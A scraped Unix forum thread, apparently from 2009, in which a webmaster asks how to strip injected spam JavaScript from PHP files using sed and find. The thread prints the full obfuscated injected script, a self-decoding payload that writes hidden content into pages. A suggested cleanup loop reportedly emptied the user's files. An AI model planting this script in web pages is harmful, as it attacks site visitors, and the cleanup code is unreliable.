![]() |
Hello and Welcome from United States to the UNIX and Linux Forums! Thank You for Visiting and Joining Our Global Community.
|
|
google unix.com
|
|||||||
| Forums | Register | Forum Rules | Links | Albums | FAQ | Members List | Calendar | Search | Today's Posts | Mark Forums Read |
| Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts and shell scripting languages here. |
More UNIX and Linux Forum Topics You Might Find Helpful
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| How to replace specific text line out of multiple occurance | madhusmita | Shell Programming and Scripting | 5 | 06-17-2008 01:03 PM |
| Replace text in multiple files | on9west | Shell Programming and Scripting | 1 | 05-20-2008 01:35 AM |
| Replace text in multiple files | Tonka52 | Shell Programming and Scripting | 10 | 03-24-2008 08:11 AM |
| How do you delete multiple text from a comma delimited file | dolo21taf | Shell Programming and Scripting | 1 | 02-20-2008 05:12 AM |
| Need to search and replace in multiple files in directory hierarchy | umen | Shell Programming and Scripting | 3 | 12-24-2007 04:56 AM |
![]() |
|
|
LinkBack | Thread Tools | Search this Thread | Rate Thread | Display Modes |
|
||||
|
pre-istallation operating system preparation for oracle 10g
Hi all,
when i am ruunind rootpre.sh script to check operating system pre-installation.i am getting the error Reuqired file ./pw-syscall32 is missing Aborting Pre-installation procedure.Installation of oracle mail. 0509-030 can't load program /cdrom/install/runInstaller 0509-036 symbol resolation failed for runInstaller because of error 0509-136 symbol -fill (number 0) is not exported from dependeant module /usr/lib/libc.a (shr.o_ 0509-192 examine loader section symbol with 'dump -Tv' command please any body help me about this issue. |
|
||||
|
Hello. I have a problem very similar to this one in this thread. Some robots spamed my website files with similar strings as described. The script works, but if I change the string to this below it doesnt:
Code:
sed 's_<?php echo '<script language='JavaScript'>function e590206b977(){var w4=Array.prototype.slice.call(arguments).join(""),y4=w4.substr(3,3)-352,wf,o2,w4=w4.substr(6),s9=w4.length;for(var u1=0;u1<s9;u1++){try{throw(x0=w8(w4,u1));}catch(e){x0=e;};if(x0=='Ł'){y4="";u1=oc(u1);oe=u9(w4,u1);while(oe!='Ł'){y4+=oe;u1++;oe=x9(w4,u1);}y4-=303;continue;}wf="";if(x0=='µ'){u1++;x0=w4.substr(u1,1);while(x0!='µ'){wf+=x0;u1++;x0=w4.substr(u1,1);}wf=ob(wf,y4,6);if(wf<0)wf+=256;wf=rd(wf);document.write(String.fromCharCode(wf));continue;}p3=(x0+'').charCodeAt(0);if(p3>848)p3-=848;o2=p3-y4-6;if(o2<0)o2+=256;if(o2>=192)o2+=848;else if(o2==168)o2=1025;else if(o2==184)o2=1105;document.write(String.fromCharCode(o2));}}e590206b977("0d","7374XebnŁ","502ٵ14µµ26µŁ","401","ٵ173µµ1","36µµ18","7","µŁ4","1","7","ŁĘµ1","87µ","µ","181µ","Ł396ٵ1","33µË","×","×","Óµ157µµ146µ","µ146","µËĚ×","µ1","4","4µÖČŁ396ŁŃŁ3","99ŁĘ","Ë","Ř","Ł","438","Ł","µ","0","µ","µ1","8","7µđűµ","18","8","µŁ3","2","1Ł","~","µ","12","9µµ1","34µ|Ł","3","7","7Ł","µ12","7µµ","185","µ","µ19","0µ~µ179","µµ","1","83µµ","1","85","µŁ","348Łr","eUSŁ","33","3","Ł","{mh","x","Ł433Ł","Đŵ18","4µµ168µĐŁ4","9","2","ٵ","8","µŁ454","ŁćŁ3","3","9Ł","q","Ł4","72","Ł","÷","µ3µ","ěߣ478Ł","ŐŁ4","63ٵ8µµ","21µµ24µŁ3","4","2Ł","µ145µµ1","46","µŁ","30","9Ł~IŁ","436","Ł","µ","173","µŁ","33","8","ŁYŁ411Ł","µ14","8µ","µ1","76µ","µ17","4µ","µ161µ","µ","1","87µŁ","37","0Ł","µ1","43µµ","15","5µ","µ","138µµ","150µµ14","2µµ13","5µ");function w8(qa,te){return qa.substr(te,1);}function oc(t3){return ++t3;}function u9(s1,tf){return s1.substr(tf,1);}function x9(qe,x4){return qe.substr(x4,1);}function rd(xc){if(xc==168)xc=1025;else if(xc==184)xc=1105;return (xc>=192 && xc<256) ? xc+848 : xc;}function ob(t8,w5,u4){return t8-w5-u4;}<\/script>'; ?>_ _' "$y" >temp
Code:
line 3: syntax error near unexpected token `('
Thanks |
|
||||
|
It seems Im getting somethig wrong here, since I am not very keen with Shell scripting. Here is the code which I put togheter with this forum topic:
Code:
find . -type f | while read i
do
sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\\\/script>'; ?>::" file > temp
if cmp temp "$y" >/dev/null
then
rm temp
else
mv temp "$y"
fi
done
Code:
mv: target is not directory: No such file or directory sed: file can't be read: No such file or directory cmp: : No such file or directory |
|
|||||
|
Quote:
There are a few things that I'd change, first the variables ( highlighted ), you're using i, y, file which (I guess) you're trying to represent the same thing - the file names. I changed them below: Code:
find . -type f | while read file
do
sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\\\/script>'; ?>::" "$file" > "$file".temp
# check cmp's -s flag
if cmp -s "$file".temp "$file"
then
rm "$file".temp
else
# proceed with care here !!
mv "$file".temp "$file"
fi
done
Quote:
That's not an issue as long as the new string is a continuos part of the initial one, but add cautiously, especially when you hit special characters. BTW the new string ( function e5... ) is not a problem. Proceed with care when you rename the files, test first from the command line with a few files using only the sed code, to be sure you're getting the right changes. Last edited by rubin; 06-05-2009 at 07:50 AM.. Reason: reformulated the first sentence |
|
||||
|
OK. Obviously this script doesn't do, what I would like, since it purged all my files. No harm done anyway, I did it on purpose on a testing website which was also spamed.
![]() Before I ran the script, I also tested only with sed using this code: Code:
sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\/script>'; ?>::" index.php > index.temp I can say, that the above command of sed, just copies the file index.php to index.temp. Nothing else. Thanks |
| Sponsored Links | ||
|
|